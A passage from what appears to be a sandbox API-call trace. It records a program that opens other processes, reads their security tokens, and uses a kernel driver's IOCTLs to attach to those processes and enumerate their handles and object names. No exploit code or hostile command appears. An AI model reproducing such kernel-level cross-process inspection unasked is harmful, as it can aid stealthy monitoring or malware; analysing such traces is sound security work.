nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.177] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.177] PsAcquireProcessExitSynchronization () returned 0x0 [0132.177] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.177] ObReferenceObjectByHandle (in: Handle=0x5c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0132.177] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.177] PsReleaseProcessExitSynchronization () returned 0x2 [0132.177] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.177] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.177] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0132.177] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.177] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.177] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x434) returned 0xc0 [0132.177] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.177] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8003223790, HandleInformation=0x0) returned 0x0 [0132.177] ObOpenObjectByPointer (in: Object=0xfffffa8003223790, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800009fc) returned 0x0 [0132.177] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2d [0132.177] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009fc, DesiredAccess=0x8, TokenHandle=0xfffffa8001f38880 | out: TokenHandle=0xfffffa8001f38880*=0xc8) returned 0x0 [0132.177] ZwClose (Handle=0xffffffff800009fc) returned 0x0 [0132.177] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.177] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.177] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.224] CloseHandle (hObject=0xc8) returned 1 [0132.224] CloseHandle (hObject=0xc0) returned 1 [0132.224] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.224] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0132.224] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.224] PsAcquireProcessExitSynchronization () returned 0x0 [0132.224] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff880050005d0) [0132.224] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003224b20, HandleInformation=0x0) returned 0x0 [0132.225] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.225] PsReleaseProcessExitSynchronization () returned 0x2 [0132.225] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0132.225] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.225] ObfDereferenceObject (Object=0xfffffa8003224b20) returned 0x1 [0132.225] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.225] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.225] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.225] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.225] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.225] PsAcquireProcessExitSynchronization () returned 0x0 [0132.225] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff880050005d0) [0132.225] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.225] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.225] PsReleaseProcessExitSynchronization () returned 0x2 [0132.225] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0132.225] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.225] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.225] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.225] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.225] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x444) returned 0xc0 [0132.225] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.225] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8003232060, HandleInformation=0x0) returned 0x0 [0132.225] ObOpenObjectByPointer (in: Object=0xfffffa8003232060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.225] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18b [0132.225] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027ffd80 | out: TokenHandle=0xfffffa80027ffd80*=0xc8) returned 0x0 [0132.225] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.225] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.226] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.226] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.227] CloseHandle (hObject=0xc8) returned 1 [0132.227] CloseHandle (hObject=0xc0) returned 1 [0132.227] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.227] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0132.227] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.227] PsAcquireProcessExitSynchronization () returned 0x0 [0132.227] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.227] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f6b680, HandleInformation=0x0) returned 0x0 [0132.227] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.228] PsReleaseProcessExitSynchronization () returned 0x2 [0132.228] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.228] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.228] ObfDereferenceObject (Object=0xfffffa8002f6b680) returned 0x1 [0132.228] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.228] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.228] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.228] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0132.228] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.228] PsAcquireProcessExitSynchronization () returned 0x0 [0132.228] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.228] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003233380, HandleInformation=0x0) returned 0x0 [0132.228] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.228] PsReleaseProcessExitSynchronization () returned 0x2 [0132.228] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.228] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.228] ObfDereferenceObject (Object=0xfffffa8003233380) returned 0x1 [0132.228] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.228] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.228] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.228] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0132.228] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.228] PsAcquireProcessExitSynchronization () returned 0x0 [0132.228] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.228] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0132.228] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.228] PsReleaseProcessExitSynchronization () returned 0x2 [0132.228] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.228] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.228] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0132.228] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.228] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.229] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.229] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.229] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.229] PsAcquireProcessExitSynchronization () returned 0x0 [0132.229] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.229] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.229] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.229] PsReleaseProcessExitSynchronization () returned 0x2 [0132.229] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.229] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0132.229] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.229] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.229] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.229] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.229] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.229] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.229] PsAcquireProcessExitSynchronization () returned 0x0 [0132.229] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.229] ObReferenceObjectByHandle (in: Handle=0x13c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003241f20, HandleInformation=0x0) returned 0x0 [0132.229] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.229] PsReleaseProcessExitSynchronization () returned 0x2 [0132.229] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.229] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.229] ObfDereferenceObject (Object=0xfffffa8003241f20) returned 0x1 [0132.229] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.229] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.229] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.229] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0132.229] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.229] PsAcquireProcessExitSynchronization () returned 0x0 [0132.229] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.229] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032429e0, HandleInformation=0x0) returned 0x0 [0132.229] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.229] PsReleaseProcessExitSynchronization () returned 0x2 [0132.229] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.230] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.230] ObfDereferenceObject (Object=0xfffffa80032429e0) returned 0x1 [0132.230] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.230] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.230] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.230] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.230] PsAcquireProcessExitSynchronization () returned 0x0 [0132.230] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.230] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.230] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.230] PsReleaseProcessExitSynchronization () returned 0x2 [0132.230] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.230] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.230] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.230] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.230] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.230] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.230] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.230] PsAcquireProcessExitSynchronization () returned 0x0 [0132.230] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.230] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.230] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.230] PsReleaseProcessExitSynchronization () returned 0x2 [0132.230] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.230] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.230] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.230] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.230] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.230] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0132.230] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.230] PsAcquireProcessExitSynchronization () returned 0x0 [0132.231] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.231] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003241bf0, HandleInformation=0x0) returned 0x0 [0132.231] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.231] PsReleaseProcessExitSynchronization () returned 0x2 [0132.231] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.231] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.231] ObfDereferenceObject (Object=0xfffffa8003241bf0) returned 0x1 [0132.231] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.231] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.231] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.231] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0132.231] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.231] PsAcquireProcessExitSynchronization () returned 0x0 [0132.231] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.231] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800cfffdd0, HandleInformation=0x0) returned 0x0 [0132.231] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.231] PsReleaseProcessExitSynchronization () returned 0x2 [0132.231] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.231] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.231] ObfDereferenceObject (Object=0xfffffa800cfffdd0) returned 0x1 [0132.231] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.231] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.231] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 